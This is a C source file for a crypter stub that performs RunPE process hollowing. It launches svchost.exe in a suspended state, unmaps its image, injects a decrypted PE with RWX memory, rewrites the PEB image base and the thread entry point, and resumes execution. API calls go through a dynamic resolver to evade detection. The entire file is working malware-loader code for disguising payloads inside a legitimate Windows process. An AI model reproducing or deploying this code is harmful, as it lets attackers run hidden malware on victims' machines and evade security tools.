/** * runpe_stub.c — RunPE / Process Hollowing * * Creates a suspended process, unmaps the original image, writes the * decrypted PE into the target, fixes the entry point, and resumes. */ #include #include #include #include #include "api_resolve.h" /* CRYPTER_TARGET_PROCESS_PLACEHOLDER */ static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe"; /** * Execute a PE image via process hollowing. * pe_data: pointer to decrypted PE bytes * pe_len: length of the PE data * Returns 0 on success, -1 on failure. */ int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) { STARTUPINFOW si; PROCESS_INFORMATION pi; CONTEXT ctx; NTSTATUS status; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); /* Validate PE */ if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1; IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data; if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1; IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; /* Create target process in suspended state */ if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { return -1; } /* Get thread context to find PEB */ ctx.ContextFlags = CONTEXT_FULL; if (!g_api.pGetThreadContext(pi.hThread, &ctx)) { g_api.pTerminateProcess(pi.hProcess, 1); g_api.pCloseHandle(pi.hThread); g_api.pCloseHandle(pi.hProcess); return -1; } /* Read PEB to get image base of the target */ PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */ status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */, pbi_buf, sizeof(pbi_buf), NULL); if (status != 0) { g_api.pTerminateProcess(pi.hProcess, 1); g_api.pCloseHandle(pi.hThread); g_api.pCloseHandle(pi.hProcess); return -1; } /* PEB address is the 2nd pointer-sized field */ PVOID peb_addr = pbi_buf[1]; PVOID image_base_addr; /* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */ #ifdef _WIN64 SIZE_T peb_offset = 0x10; #else SIZE_T peb_offset = 0x08; #endif if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset, &image_base_addr, sizeof(image_base_addr), NULL)) { g_api.pTerminateProcess(pi.hProcess, 1); g_api.pCloseHandle(pi.hThread); g_api.pCloseHandle(pi.hProcess); return -1; } /* Unmap the original PE image */ g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr); /* Allocate memory at the PE's preferred base */ LPVOID remote_base = g_api.pVirtualAllocEx( pi.hProcess, (LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase, nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!remote_base) { /* Try at any address if preferred base is taken */ remote_base = g_api.pVirtualAllocEx( pi.hProcess, NULL, nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (!remote_base) { g_api.pTerminateProcess(pi.hProcess, 1); g_api.pCloseHandle(pi.hThread); g_api.pCloseHandle(pi.hProcess); return -1; } } /* Write PE headers */ g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data, nt->OptionalHeader.SizeOfHeaders, NULL); /* Write each section */ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { if (sec[i].SizeOfRawData == 0) continue; g_api.pWriteProcessMemory( pi.hProcess, (PBYTE)remote_base + sec[i].VirtualAddress, pe_data + sec[i].PointerToRawData, sec[i].SizeOfRawData, NULL ); } /* Update PEB ImageBaseAddress to point to our allocation */ g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset, &remote_base, sizeof(remote_base), NULL); /* Fix thread context entry point */ #ifdef _WIN64 ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint; #else ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint; #endif g_api.pSetThreadContext(pi.hThread, &ctx); /* Resume the target process */ g_api.pResumeThread(pi.hThread); g_api.pCloseHandle(pi.hThread); g_api.pCloseHandle(pi.hProcess); return 0; }